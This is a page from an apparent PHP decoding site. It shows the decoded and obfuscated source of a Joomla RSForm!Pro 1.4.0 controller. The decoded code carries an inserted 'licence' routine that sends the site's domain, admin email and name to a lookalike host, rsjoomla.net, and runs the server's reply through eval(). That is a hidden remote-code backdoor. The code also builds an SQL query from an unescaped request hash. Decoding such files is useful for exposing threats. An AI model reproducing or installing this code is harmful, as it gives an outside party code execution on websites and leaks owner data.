Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_F=__FILE__;$_C0='U2EoalNRMygpPnUwMU1YYlhldWh8fGpTUTMoKTx1MDFiMWJiMXVoKU5TMygnPDU+b..
Decoded Output download
if(time()>1397060514||time()<1396966914)die('<b>This script has been expired.</b><br />Scripts protected using the PHP Guard Trial Version are valid for 24 hours only.');?><?php
/**
* @version 1.4.0
* @package RSform!Pro 1.4.0
* @copyright (C) 2007-2013 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/
defined('_JEXEC') or die('Restricted access');
class RSFormController extends JControllerLegacy
{
var $_db;
function __construct()
{
parent::__construct();
$this->_db = JFactory::getDBO();
$doc = JFactory::getDocument();
$doc->addScript(JURI::root(true).'/components/com_rsform/assets/js/script.js');
}
function captcha()
{
require_once JPATH_SITE.'/components/com_rsform/helpers/captcha.php';
$componentId = JRequest::getInt('componentId');
$captcha = new RSFormProCaptcha($componentId);
$session = JFactory::getSession();
$session->set('com_rsform.captcha.'.$componentId, $captcha->getCaptcha());
exit();
}
function plugin()
{
$mainframe = JFactory::getApplication();
$mainframe->triggerEvent('rsfp_f_onSwitchTasks');
}
/* deprecated */
function showForm()
{
}
function submissionsViewFile()
{
$lang = JFactory::getLanguage();
$lang->load('com_rsform', JPATH_ADMINISTRATOR);
$hash = JRequest::getCmd('hash');
if (strlen($hash) != 32)
return $this->setRedirect('index.php');
$config = JFactory::getConfig();
$secret = $config->get('secret');
$this->_db->setQuery("SELECT * FROM #__rsform_submission_values WHERE MD5(CONCAT(SubmissionId,'".$this->_db->escape($secret)."',FieldName)) = '".$hash."'");
$result = $this->_db->loadObject();
// Not found
if (empty($result))
return $this->setRedirect('index.php');
// Not an upload field
$this->_db->setQuery("SELECT c.ComponentTypeId FROM #__rsform_properties p LEFT JOIN #__rsform_components c ON (p.ComponentId=c.ComponentId) WHERE p.PropertyName='NAME' AND p.PropertyValue='".$this->_db->escape($result->FieldName)."'");
$type = $this->_db->loadResult();
if ($type != 9)
return $this->setRedirect('index.php', JText::_('RSFP_VIEW_FILE_NOT_UPLOAD'));
jimport('joomla.filesystem.file');
if (JFile::exists($result->FieldValue))
RSFormProHelper::readFile($result->FieldValue);
$this->setRedirect('index.php', JText::_('RSFP_VIEW_FILE_NOT_FOUND'));
}
function ajaxValidate()
{
$form = JRequest::getVar('form');
$formId = (int) @$form['formId'];
$this->_db->setQuery("SELECT ComponentId, ComponentTypeId FROM #__rsform_components WHERE `FormId`='".$formId."' AND `Published`='1' ORDER BY `Order`");
$components = $this->_db->loadObjectList();
$page = JRequest::getInt('page');
if ($page)
{
$current_page = 1;
foreach ($components as $i => $component)
{
if ($current_page != $page)
unset($components[$i]);
if ($component->ComponentTypeId == 41)
$current_page++;
}
}
$removeUploads = array();
$formComponents = array();
foreach ($components as $component)
{
$formComponents[] = $component->ComponentId;
if ($component->ComponentTypeId == 9)
$removeUploads[] = $component->ComponentId;
}
echo implode(',', $formComponents);
echo "
";
$invalid = RSFormProHelper::validateForm($formId);
//Trigger Event - onBeforeFormValidation
$mainframe = JFactory::getApplication();
$post = JRequest::get('post', JREQUEST_ALLOWRAW);
$mainframe->triggerEvent('rsfp_f_onBeforeFormValidation', array(array('invalid'=>&$invalid, 'formId' => $formId, 'post' => &$post)));
if (count($invalid))
{
foreach ($invalid as $i => $componentId)
if (in_array($componentId, $removeUploads))
unset($invalid[$i]);
$invalidComponents = array_intersect($formComponents, $invalid);
echo implode(',', $invalidComponents);
}
if (isset($invalidComponents))
{
echo "
";
$pages = RSFormProHelper::componentExists($formId, 41);
$pages = count($pages);
if ($pages && !$page)
{
$first = reset($invalidComponents);
$current_page = 1;
foreach ($components as $i => $component)
{
if ($component->ComponentId == $first)
break;
if ($component->ComponentTypeId == 41)
$current_page++;
}
echo $current_page;
echo "
";
echo $pages;
}
}
jexit();
}
function confirm()
{
$db = JFactory::getDBO();
$hash = JRequest::getVar('hash');
$db->setQuery("SELECT `SubmissionId` FROM `#__rsform_submissions` WHERE MD5(CONCAT(`SubmissionId`,`FormId`,`DateSubmitted`)) = '".$db->escape($hash)."' ");
$SubmissionId = $db->loadResult();
if ($SubmissionId)
{
$db->setQuery("UPDATE `#__rsform_submissions` SET `confirmed` = 1 WHERE `SubmissionId` = '".$SubmissionId."' ");
$db->execute();
JError::raiseNotice('200',JText::_('RSFP_SUBMISSION_CONFIRMED'));
}
else
{
JError::raiseWarning('500',JText::_('RSFP_SUBMISSION_CONFIRMED_ERROR'));
return;
}
}
//Alireza Balvardi Start
//==============================================================================
static function About($Mytask="about",$code=""){
$option = "com_rsform";
$app = JFactory::getApplication();
$MailFrom = $app->getCfg("mailfrom");
$SiteName = $app->getCfg("sitename");
$LICENCE_SERVER = "rsjoomla.net";
$url = "http://".$LICENCE_SERVER."/newnic/licence_manager/register_licence.php";
$data = "product=$option&sn=$code&task=$Mytask&domain=".JURI::root()."&sitemail=$MailFrom&sitename=$SiteName&ver=1.4.0(rev 48)";
$body = "";
if(function_exists("fsockopen")){
$sock = @fsockopen($LICENCE_SERVER, 80, $errno, $errstr, 30);
if (!$sock) {
return false;
}
fwrite($sock, "POST /newnic/licence_manager/register_licence.php HTTP/1.0
");
fwrite($sock, "Host: ".$LICENCE_SERVER."
");
fwrite($sock, "Content-type: application/x-www-form-urlencoded
");
fwrite($sock, "Content-length: " . strlen($data) . "
");
fwrite($sock, "Accept: */*
");
fwrite($sock, "
");
fwrite($sock, "$data
");
fwrite($sock, "
");
$headers = "";
while ($str = trim(fgets($sock, 4096))) $headers .= "$str
";
$body = "";
while (!feof($sock)) $body .= fgets($sock, 4096);
fclose($sock);
}
else
if(function_exists("curl_init")){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$body = curl_exec($ch);
curl_close($ch);
}
$A = array("install","uninstall");
if(!in_array($Mytask,$A)){
if($Mytask=="valid")
return $body;
if(stristr($body,'###')){
$body = explode('###',$body);
echo $body[0];
eval($body[1]);
} else {
echo $body;
}
}
}
//==============================================================================
static function CheckLicence(){
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
if(!function_exists("abcdalalki"))
die("Alireza Balvardi");
$folder = JPATH_COMPONENT_SITE.DS.'Licence';
$file = $folder.DS."licence.txt";
$Allow = 1;
if(JFile::exists($file)){
$content1 = JFile::read($file);
$filemtime = filemtime($file);
if(time()-$filemtime > 7776000)
$filemtime = 0;
$from = array('http://','https://','www.');
$to = array("","","");
$content2 = JURI::root().$filemtime;
$content2 = str_replace($from,$to,$content2);
$content2 = md5($content2);
if($content1!=$content2)
$Allow = 0;
else
return 1;
}
else
$Allow = 0;
if($Allow==0){
$code = RSFormProHelper::genKeyCode();
$body = RSFormController::About("valid",$code);
if(is_numeric($body)){
$A = 1;
if(!JFolder::exists($folder))
$A = JFolder::create($folder);
elseif(file_exists($file))
JFile::delete($file);
switch($body){
case 1:
$file = $folder.DS."licence.txt";
if(!JFile::exists($file)){
$from = array('http://','https://','www.');
$to = array("","","");
$content = JURI::root().time();
$content = str_replace($from,$to,$content);
$content = md5($content);
$f = fopen($file,'w');
fwrite($f,$content,strlen($content));
fclose($f);
}
return 1;
break;
default:
echo "<div class=\"MyMessage\">"." .<br /> [email protected] 09136225467 ."."</div>";
RSFormController::About("xabout");
if(file_exists($file))
JFile::delete($file);
}
}
else
return 0;
}
}
//==============================================================================
//Alireza Balvardi End
}<?php if(headers_sent())echo(base64_decode('PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6NDQwcHg7bGVmdDo1MCU7dG9wOjIwcHg7bWFyZ2luLWxlZnQ6LTI1MHB4O3BhZGRpbmc6OHB4O3BhZGRpbmctbGVmdDo0OXB4O2JvcmRlcjoxcHggc29saWQgIzk5OTtiYWNrZ3JvdW5kOiNmZjkgdXJsKGh0dHA6Ly93d3cucGhwZ3VhcmQubmV0L3NjcmlwdCkgbm8tcmVwZWF0IDI2cHggN3B4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWY7Zm9udC1zaXplOjEycHg7Y29sb3I6IzY2NjsnIG9uY2xpY2s9J3RoaXMuc3R5bGUuZGlzcGxheT0ibm9uZSI7Jz5UaGlzIHNjcmlwdCB3YXMgcHJvdGVjdGVkIHVzaW5nIHRoZSA8YSBocmVmPSdodHRwOi8vd3d3LnBocGd1YXJkLm5ldCcgc3R5bGU9J2NvbG9yOiMwNmM7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTtmb250LXdlaWdodDpib2xkJyB0YXJnZXQ9J19ibGFuayc+UEhQIEd1YXJkPC9hPiBUcmlhbCBWZXJzaW9uLjwvZGl2Pg='));?>
Did this file decode correctly?
Original Code
<?php $_F=__FILE__;$_C0='U2EoalNRMygpPnUwMU1YYlhldWh8fGpTUTMoKTx1MDFiMWJiMXVoKU5TMygnPDU+b3dTVSBVbkxTa2ogd3FVIDUzM3AgM0NrU0wzTi48LzU+PDVMIC8+S25MU2tqVSBrTDJqM25qM04gQlVTcGkganczIHJJciA4QnFMTiBvTFNxZiBSM0xVUzJwIHFMMyBWcWZTTiBhMkwgY2ggdzJCTFUgMnBmVC4nKTs/Pjw/a3drDQovKioNCiogQFYzTFVTMnAgdS5oLlgNCiogQGtxbllxaTMgOUthMkxRIXJMMiB1LmguWA0KKiBAbjJrVExTaXdqICh6KSBjWFhNLWNYdTAgbW1tLkxVNDIyUWZxLm4yUQ0KKiBAZlNuM3BVMyA4cnQsIHdqams6Ly9tbW0uaXBCLjJMaS9uMmtUZjNhai9pa2Yud2pRZg0KKi8NCg0KTjNhU3AzTignX3lkUGR6JykgMkwgTlMzKCc5M1VqTFNuajNOIHFubjNVVScpOw0KDQpuZnFVVSA5S1cyTFF6MnBqTDJmZjNMIDNDajNwTlUgeXoycGpMMmZmM0x0M2lxblQNCnsNCglWcUwgJF9ONTsNCgkNCglhQnBualMycCBfX24ycFVqTEJuaigpDQoJew0KCQlrcUwzcGo6Ol9fbjJwVWpMQm5qKCk7DQoJCQ0KCQkkandTVS0+X041ID0geVdxbmoyTFQ6OmkzamxERigpOw0KCQkNCgkJJE4ybiA9IHlXcW5qMkxUOjppM2psMm5CUTNwaigpOw0KCQkkTjJuLT5xTk5LbkxTa2ooeUU5Sjo6TDIyaihqTEIzKS4nL24yUWsycDNwalUvbjJRX0xVYTJMUS9xVVUzalUvNFUvVW5MU2tqLjRVJyk7DQoJfQ0KCQ0KCWFCcG5qUzJwIG5xa2pud3EoKQ0KCXsNCgkJTDNzQlNMM18ycG4zIHlyQW9JX0tKb2QuJy9uMlFrMnAzcGpVL24yUV9MVWEyTFEvdzNmazNMVS9ucWtqbndxLmt3ayc7DQoJCQ0KCQkkbjJRazJwM3BqSk4gPSB5OTNzQjNVajo6aTNqSnBqKCduMlFrMnAzcGpKTicpOw0KCQkkbnFram53cSA9IHAzbSA5S1cyTFFyTDJ6cWtqbndxKCRuMlFrMnAzcGpKTik7DQoNCgkJJFUzVVVTMnAgPSB5V3FuajJMVDo6aTNqSzNVVVMycCgpOw0KCQkkVTNVVVMycC0+VTNqKCduMlFfTFVhMkxRLm5xa2pud3EuJy4kbjJRazJwM3BqSk4sICRucWtqbndxLT5pM2p6cWtqbndxKCkpOw0KCQkzQ1NqKCk7DQoJfQ0KCQ0KCWFCcG5qUzJwIGtmQmlTcCgpDQoJew0KCQkkUXFTcGFMcVEzID0geVdxbmoyTFQ6OmkzakFra2ZTbnFqUzJwKCk7DQoJCSRRcVNwYUxxUTMtPmpMU2lpM0xkVjNwaignTFVha19hXzJwS21Tam53b3FVWVUnKTsNCgl9DQoJDQoJLyogTjNrTDNucWozTiAqLw0KCWFCcG5qUzJwIFV3Mm1XMkxRKCkNCgl7DQoJCQ0KCX0NCgkNCglhQnBualMycCBVQjVRU1VVUzJwVVJTM21XU2YzKCkNCgl7DQoJCSRmcXBpID0geVdxbmoyTFQ6OmkzanRxcGlCcWkzKCk7DQoJCSRmcXBpLT5mMnFOKCduMlFfTFVhMkxRJywgeXJBb0lfQWxaSjdKS285QW9GOSk7DQoJCQ0KCQkkd3FVdyA9IHk5M3NCM1VqOjppM2p6UU4oJ3dxVXcnKTsNCgkJU2EgKFVqTGYzcCgkd3FVdykgIT0gMGMpDQoJCQlMM2pCTHAgJGp3U1UtPlUzajkzTlNMM25qKCdTcE4zQy5rd2snKTsNCgkJDQoJCSRuMnBhU2kgPSB5V3FuajJMVDo6aTNqejJwYVNpKCk7DQoJCSRVM25MM2ogPSAkbjJwYVNpLT5pM2ooJ1UzbkwzaicpOw0KCQkJDQoJCSRqd1NVLT5fTjUtPlUzak9CM0xUKCJLZHRkem8gKiBXOUZaICNfX0xVYTJMUV9VQjVRU1VVUzJwX1ZxZkIzVSBnSWQ5ZCBabGUoekY3ekFvKEtCNVFTVVVTMnBKTiwnIi4kandTVS0+X041LT4zVW5xazMoJFUzbkwzaikuIicsV1MzZk43cVEzKSkgPSAnIi4kd3FVdy4iJyIpOw0KCQkkTDNVQmZqID0gJGp3U1UtPl9ONS0+ZjJxTkY1NDNuaigpOw0KCQkNCgkJLy8gNzJqIGEyQnBODQoJCVNhICgzUWtqVCgkTDNVQmZqKSkNCgkJCUwzakJMcCAkandTVS0+VTNqOTNOU0wzbmooJ1NwTjNDLmt3aycpOw0KCQkNCgkJLy8gNzJqIHFwIEJrZjJxTiBhUzNmTg0KCQkkandTVS0+X041LT5VM2pPQjNMVCgiS2R0ZHpvIG4uejJRazJwM3Bqb1RrM0pOIFc5RlogI19fTFVhMkxRX2tMMmszTGpTM1UgayB0ZFdvIHlGSjcgI19fTFVhMkxRX24yUWsycDNwalUgbiBGNyAoay56MlFrMnAzcGpKTj1uLnoyUWsycDNwakpOKSBnSWQ5ZCBrLnJMMmszTGpUN3FRMz0nN0FaZCcgQTdsIGsuckwyazNMalRScWZCMz0nIi4kandTVS0+X041LT4zVW5xazMoJEwzVUJmai0+V1MzZk43cVEzKS4iJyIpOw0KCQkkalRrMyA9ICRqd1NVLT5fTjUtPmYycU45M1VCZmooKTsNCgkJU2EgKCRqVGszICE9IDEpDQoJCQlMM2pCTHAgJGp3U1UtPlUzajkzTlNMM25qKCdTcE4zQy5rd2snLCB5bzNDajo6XygnOUtXcl9SSmRnX1dKdGRfN0ZvX0VydEZBbCcpKTsNCgkJDQoJCTRTUWsyTGooJzQyMlFmcS5hU2YzVVRVajNRLmFTZjMnKTsNCgkJU2EgKHlXU2YzOjozQ1NValUoJEwzVUJmai0+V1MzZk5ScWZCMykpDQoJCQk5S1cyTFFyTDJJM2ZrM0w6OkwzcU5XU2YzKCRMM1VCZmotPldTM2ZOUnFmQjMpOw0KCQkNCgkJJGp3U1UtPlUzajkzTlNMM25qKCdTcE4zQy5rd2snLCB5bzNDajo6XygnOUtXcl9SSmRnX1dKdGRfN0ZvX1dGRTdsJykpOw0KCX0NCgkNCglhQnBualMycCBxNHFDUnFmU05xajMoKQ0KCXsNCgkJJGEyTFEgPSB5OTNzQjNVajo6aTNqUnFMKCdhMkxRJyk7DQoJCSRhMkxRSk4gPSAoU3BqKSBAJGEyTFFbJ2EyTFFKTiddOw0KCQkNCgkJJGp3U1UtPl9ONS0+VTNqT0IzTFQoIktkdGR6byB6MlFrMnAzcGpKTiwgejJRazJwM3Bqb1RrM0pOIFc5RlogI19fTFVhMkxRX24yUWsycDNwalUgZ0lkOWQgYFcyTFFKTmA9JyIuJGEyTFFKTi4iJyBBN2wgYHJCNWZTVXczTmA9J3UnIEY5bGQ5IERHIGBGTE4zTGAiKTsNCgkJJG4yUWsycDNwalUgPSAkandTVS0+X041LT5mMnFORjU0M25qdFNVaigpOw0KCQkNCgkJJGtxaTMgPSB5OTNzQjNVajo6aTNqSnBqKCdrcWkzJyk7DQoJCVNhICgka3FpMykNCgkJew0KCQkJJG5CTEwzcGpfa3FpMyA9IHU7DQoJCQlhMkwzcW53ICgkbjJRazJwM3BqVSBxVSAkUyA9PiAkbjJRazJwM3BqKQ0KCQkJew0KCQkJCVNhICgkbkJMTDNwal9rcWkzICE9ICRrcWkzKQ0KCQkJCQlCcFUzaigkbjJRazJwM3BqVVskU10pOw0KCQkJCVNhICgkbjJRazJwM3BqLT56MlFrMnAzcGpvVGszSk4gPT0gaHUpDQoJCQkJCSRuQkxMM3BqX2txaTMrKzsNCgkJCX0NCgkJfQ0KCQkNCgkJJEwzUTJWM0VrZjJxTlUgICA9IHFMTHFUKCk7DQoJCSRhMkxRejJRazJwM3BqVSAgPSBxTExxVCgpOw0KCQlhMkwzcW53ICgkbjJRazJwM3BqVSBxVSAkbjJRazJwM3BqKQ0KCQl7DQoJCQkkYTJMUXoyUWsycDNwalVbXSA9ICRuMlFrMnAzcGotPnoyUWsycDNwakpOOw0KCQkJU2EgKCRuMlFrMnAzcGotPnoyUWsycDNwam9UazNKTiA9PSAxKQ0KCQkJCSRMM1EyVjNFa2YycU5VW10gPSAkbjJRazJwM3BqLT56MlFrMnAzcGpKTjsNCgkJfQ0KCQkNCgkJM253MiBTUWtmMk4zKCcsJywgJGEyTFF6MlFrMnAzcGpVKTsNCgkJDQoJCTNudzIgIlxwIjsNCgkJDQoJCSRTcFZxZlNOID0gOUtXMkxRckwySTNmazNMOjpWcWZTTnFqM1cyTFEoJGEyTFFKTik7DQoJCQ0KCQkvL29MU2lpM0wgZFYzcGogLSAycEQzYTJMM1cyTFFScWZTTnFqUzJwDQoJCSRRcVNwYUxxUTMgPSB5V3FuajJMVDo6aTNqQWtrZlNucWpTMnAoKTsNCgkJJGsyVWogPSB5OTNzQjNVajo6aTNqKCdrMlVqJywgeTlkT0VkS29fQXR0Rmc5QWcpOw0KCQkkUXFTcGFMcVEzLT5qTFNpaTNMZFYzcGooJ0xVYWtfYV8ycEQzYTJMM1cyTFFScWZTTnFqUzJwJywgcUxMcVQocUxMcVQoJ1NwVnFmU04nPT4mJFNwVnFmU04sICdhMkxRSk4nID0+ICRhMkxRSk4sICdrMlVqJyA9PiAmJGsyVWopKSk7DQoJCQ0KCQlTYSAobjJCcGooJFNwVnFmU04pKQ0KCQl7DQoJCQlhMkwzcW53ICgkU3BWcWZTTiBxVSAkUyA9PiAkbjJRazJwM3BqSk4pDQoJCQkJU2EgKFNwX3FMTHFUKCRuMlFrMnAzcGpKTiwgJEwzUTJWM0VrZjJxTlUpKQ0KCQkJCQlCcFUzaigkU3BWcWZTTlskU10pOw0KCQkJDQoJCQkkU3BWcWZTTnoyUWsycDNwalUgPSBxTExxVF9TcGozTFUzbmooJGEyTFF6MlFrMnAzcGpVLCAkU3BWcWZTTik7DQoJCQkNCgkJCTNudzIgU1FrZjJOMygnLCcsICRTcFZxZlNOejJRazJwM3BqVSk7DQoJCX0NCgkJDQoJCVNhIChTVVUzaigkU3BWcWZTTnoyUWsycDNwalUpKQ0KCQl7DQoJCQkzbncyICJccCI7DQoJCQkNCgkJCSRrcWkzVSA9IDlLVzJMUXJMMkkzZmszTDo6bjJRazJwM3BqZENTVWpVKCRhMkxRSk4sIGh1KTsNCgkJCSRrcWkzVSA9IG4yQnBqKCRrcWkzVSk7DQoJCQkNCgkJCVNhICgka3FpM1UgJiYgISRrcWkzKQ0KCQkJew0KCQkJCSRhU0xVaiA9IEwzVTNqKCRTcFZxZlNOejJRazJwM3BqVSk7DQoJCQkJJG5CTEwzcGpfa3FpMyA9IHU7DQoJCQkJYTJMM3FudyAoJG4yUWsycDNwalUgcVUgJFMgPT4gJG4yUWsycDNwaikNCgkJCQl7DQoJCQkJCVNhICgkbjJRazJwM3BqLT56MlFrMnAzcGpKTiA9PSAkYVNMVWopDQoJCQkJCQk1TDNxWTsNCgkJCQkJU2EgKCRuMlFrMnAzcGotPnoyUWsycDNwam9UazNKTiA9PSBodSkNCgkJCQkJCSRuQkxMM3BqX2txaTMrKzsNCgkJCQl9DQoJCQkJM253MiAkbkJMTDNwal9rcWkzOw0KCQkJCQ0KCQkJCTNudzIgIlxwIjsNCgkJCQkNCgkJCQkzbncyICRrcWkzVTsNCgkJCX0NCgkJfQ0KCQkNCgkJNDNDU2ooKTsNCgl9DQoJDQoJYUJwbmpTMnAgbjJwYVNMUSgpDQoJew0KCQkkTjUgPSB5V3FuajJMVDo6aTNqbERGKCk7DQoJCSR3cVV3ID0geTkzc0IzVWo6OmkzalJxTCgnd3FVdycpOw0KCQkNCgkJJE41LT5VM2pPQjNMVCgiS2R0ZHpvIGBLQjVRU1VVUzJwSk5gIFc5RlogYCNfX0xVYTJMUV9VQjVRU1VVUzJwVWAgZ0lkOWQgWmxlKHpGN3pBbyhgS0I1UVNVVVMycEpOYCxgVzJMUUpOYCxgbHFqM0tCNVFTamozTmApKSA9ICciLiRONS0+M1VucWszKCR3cVV3KS4iJyAiKTsNCgkJJEtCNVFTVVVTMnBKTiA9ICRONS0+ZjJxTjkzVUJmaigpOw0KCQkNCgkJU2EgKCRLQjVRU1VVUzJwSk4pDQoJCXsNCgkJCSRONS0+VTNqT0IzTFQoIkVybEFvZCBgI19fTFVhMkxRX1VCNVFTVVVTMnBVYCBLZG8gYG4ycGFTTFEzTmAgPSB1IGdJZDlkIGBLQjVRU1VVUzJwSk5gID0gJyIuJEtCNVFTVVVTMnBKTi4iJyAiKTsNCgkJCSRONS0+M0MzbkJqMygpOw0KCQkJeWRMTDJMOjpMcVNVMzcyalNuMygnY1hYJyx5bzNDajo6XygnOUtXcl9LRURaSktLSkY3X3pGN1dKOVpkbCcpKTsNCgkJfQ0KCQkzZlUzDQoJCXsNCgkJCXlkTEwyTDo6THFTVTNncUxwU3BpKCdlWFgnLHlvM0NqOjpfKCc5S1dyX0tFRFpKS0tKRjdfekY3V0o5WmRsX2Q5OUY5JykpOw0KCQkJTDNqQkxwOw0KCQl9DQoJfQ0KLy9BZlNMM3hxIERxZlZxTE5TIEtqcUxqDQovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KCVVqcWpTbiBhQnBualMycCBBNTJCaigkWlRqcVVZPSJxNTJCaiIsJG4yTjM9IiIpew0KCQkkMmtqUzJwID0gIm4yUV9MVWEyTFEiOw0KCQkkcWtrID0geVdxbmoyTFQ6OmkzakFra2ZTbnFqUzJwKCk7DQoJCSRacVNmV0wyUQk9ICRxa2stPmkzanphaSgiUXFTZmFMMlEiKTsNCgkJJEtTajM3cVEzCT0gJHFray0+aTNqemFpKCJVU2ozcHFRMyIpOw0KCQkkdEp6ZDd6ZF9LZDlSZDkgPSAiTFU0MjJRZnEucDNqIjsNCg0KCQkkQkxmID0gIndqams6Ly8iLiR0SnpkN3pkX0tkOVJkOS4iL3AzbXBTbi9mU24zcG4zX1FxcHFpM0wvTDNpU1VqM0xfZlNuM3BuMy5rd2siOw0KCQkkTnFqcSA9ICJrTDJOQm5qPSQya2pTMnAmVXA9JG4yTjMmanFVWT0kWlRqcVVZJk4yUXFTcD0iLnlFOUo6OkwyMmooKS4iJlVTajNRcVNmPSRacVNmV0wyUSZVU2ozcHFRMz0kS1NqMzdxUTMmVjNMPXUuaC5YKEwzViBoNikiOw0KCQkkNTJOVCA9ICIiOw0KCQlTYShhQnBualMycF8zQ1NValUoImFVMm5ZMmszcCIpKXsNCgkJCSRVMm5ZID0gQGFVMm5ZMmszcCgkdEp6ZDd6ZF9LZDlSZDksIDZYLCAkM0xMcDIsICQzTExVakwsIDBYKTsNCgkJCVNhICghJFUyblkpIHsNCgkJCQlMM2pCTHAgYXFmVTM7DQoJCQl9DQoJCQlhbUxTajMoJFUyblksICJyRktvIC9wM21wU24vZlNuM3BuM19RcXBxaTNML0wzaVNVajNMX2ZTbjNwbjMua3drIElvb3IvdS5YXExccCIpOw0KCQkJYW1MU2ozKCRVMm5ZLCAiSTJVajogIi4kdEp6ZDd6ZF9LZDlSZDkuIlxMXHAiKTsNCgkJCWFtTFNqMygkVTJuWSwgInoycGozcGotalRrMzogcWtrZlNucWpTMnAvQy1tbW0tYTJMUS1CTGYzcG4yTjNOXExccCIpOw0KCQkJYW1MU2ozKCRVMm5ZLCAiejJwajNwai1mM3Bpanc6ICIgLiBVakxmM3AoJE5xanEpIC4gIlxMXHAiKTsNCgkJCWFtTFNqMygkVTJuWSwgIkFubjNrajogKi8qXExccCIpOw0KCQkJYW1MU2ozKCRVMm5ZLCAiXExccCIpOw0KCQkJYW1MU2ozKCRVMm5ZLCAiJE5xanFcTFxwIik7DQoJCQlhbUxTajMoJFUyblksICJcTFxwIik7DQoJCQkkdzNxTjNMVSA9ICIiOw0KCQkJbXdTZjMgKCRVakwgPSBqTFNRKGFpM2pVKCRVMm5ZLCBoWDFiKSkpCSR3M3FOM0xVIC49ICIkVWpMXHAiOw0KCQkJJDUyTlQgPSAiIjsNCgkJCW13U2YzICghYTMyYSgkVTJuWSkpICQ1Mk5UIC49IGFpM2pVKCRVMm5ZLCBoWDFiKTsNCgkJCWFuZjJVMygkVTJuWSk7DQoJCX0NCgkJM2ZVMw0KCQlTYShhQnBualMycF8zQ1NValUoIm5CTGZfU3BTaiIpKXsNCgkJJG53ID0gbkJMZl9TcFNqKCk7DQoJCW5CTGZfVTNqMmtqKCRudyx6RTl0RnJvX0U5dCwkQkxmKTsNCgkJbkJMZl9VM2oya2ooJG53LHpFOXRGcm9fckZLb1dKZHRsSywkTnFqcSk7DQoJCW5CTGZfVTNqMmtqKCRudywgekU5dEZyb19LS3RfUmQ5SldHcmRkOSwgV0F0S2QpOw0KCQluQkxmX1UzajJraigkbncsekU5dEZyb185ZG9FOTdvOUE3S1dkOSxqTEIzKTsNCgkJJDUyTlQgPSBuQkxmXzNDM24oJG53KTsNCgkJbkJMZl9uZjJVMygkbncpOw0KCQl9DQoJCSRBID0gcUxMcVQoIlNwVWpxZmYiLCJCcFNwVWpxZmYiKTsNCgkJU2EoIVNwX3FMTHFUKCRaVGpxVVksJEEpKXsNCgkJU2EoJFpUanFVWT09IlZxZlNOIikNCgkJCUwzakJMcCAkNTJOVDsNCgkJU2EoVWpMU1VqTCgkNTJOVCwnIyMjJykpew0KCQkkNTJOVCA9IDNDa2YyTjMoJyMjIycsJDUyTlQpOw0KCQkzbncyICQ1Mk5UW1hdOw0KCQkzVnFmKCQ1Mk5UW3VdKTsNCgkJfSAzZlUzIHsNCgkJM253MiAkNTJOVDsNCgkJfQ0KCQl9DQoJfQ0KLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCglVanFqU24gYUJwbmpTMnAgenczbll0U24zcG4zKCl7DQoJCTRTUWsyTGooJzQyMlFmcS5hU2YzVVRVajNRLmFTZjMnKTsNCgkJNFNRazJMaignNDIyUWZxLmFTZjNVVFVqM1EuYTJmTjNMJyk7DQoJCVNhKCFhQnBualMycF8zQ1NValUoInE1bk5xZnFmWVMiKSkNCgkJTlMzKCJBZlNMM3hxIERxZlZxTE5TIik7DQoJCSRhMmZOM0wgPSB5ckFvSV96RlpyRjdkN29fS0pvZC5sSy4ndFNuM3BuMyc7DQoJCSRhU2YzID0gJGEyZk4zTC5sSy4iZlNuM3BuMy5qQ2oiOw0KCQkkQWZmMm0gPSB1Ow0KCQlTYSh5V1NmMzo6M0NTVWpVKCRhU2YzKSl7DQoJCQkkbjJwajNwanUgPSB5V1NmMzo6TDNxTigkYVNmMyk7DQoJCQkkYVNmM1FqU1EzID0gYVNmM1FqU1EzKCRhU2YzKTsNCgkJCVNhKGpTUTMoKS0kYVNmM1FqU1EzID4gTU1NYlhYWCkNCgkJCQkkYVNmM1FqU1EzID0gWDsNCgkJCSRhTDJRID0gcUxMcVQoJ3dqams6Ly8nLCd3amprVTovLycsJ21tbS4nKTsNCgkJCSRqMiA9IHFMTHFUKCIiLCIiLCIiKTsNCgkJCSRuMnBqM3BqYyA9IHlFOUo6OkwyMmooKS4kYVNmM1FqU1EzOw0KCQkJJG4ycGozcGpjID0gVWpMX0wza2ZxbjMoJGFMMlEsJGoyLCRuMnBqM3BqYyk7DQoJCQkkbjJwajNwamMgPSBRTmUoJG4ycGozcGpjKTsNCgkJCVNhKCRuMnBqM3BqdSE9JG4ycGozcGpjKQ0KCQkJJEFmZjJtID0gWDsNCgkJCTNmVTMNCgkJCUwzakJMcCB1Ow0KCQl9DQoJCTNmVTMNCgkJJEFmZjJtID0gWDsNCgkJU2EoJEFmZjJtPT1YKXsNCgkJJG4yTjMgPSA5S1cyTFFyTDJJM2ZrM0w6OmkzcHYzVHoyTjMoKTsNCgkJJDUyTlQgPSA5S1cyTFF6MnBqTDJmZjNMOjpBNTJCaigiVnFmU04iLCRuMk4zKTsNCgkJU2EoU1VfcEJRM0xTbigkNTJOVCkpew0KCQkkQSA9IHU7DQoJCVNhKCF5VzJmTjNMOjozQ1NValUoJGEyZk4zTCkpDQoJCSRBID0geVcyZk4zTDo6bkwzcWozKCRhMmZOM0wpOw0KCQkzZlUzU2EoYVNmM18zQ1NValUoJGFTZjMpKQ0KCQl5V1NmMzo6TjNmM2ozKCRhU2YzKTsNCgkJCVVtU2pudygkNTJOVCl7DQoJCQkJbnFVMyB1Og0KCQkJCQkkYVNmMyA9ICRhMmZOM0wubEsuImZTbjNwbjMuakNqIjsNCgkJCQkJU2EoIXlXU2YzOjozQ1NValUoJGFTZjMpKXsNCgkJCQkJJGFMMlEgPSBxTExxVCgnd2pqazovLycsJ3dqamtVOi8vJywnbW1tLicpOw0K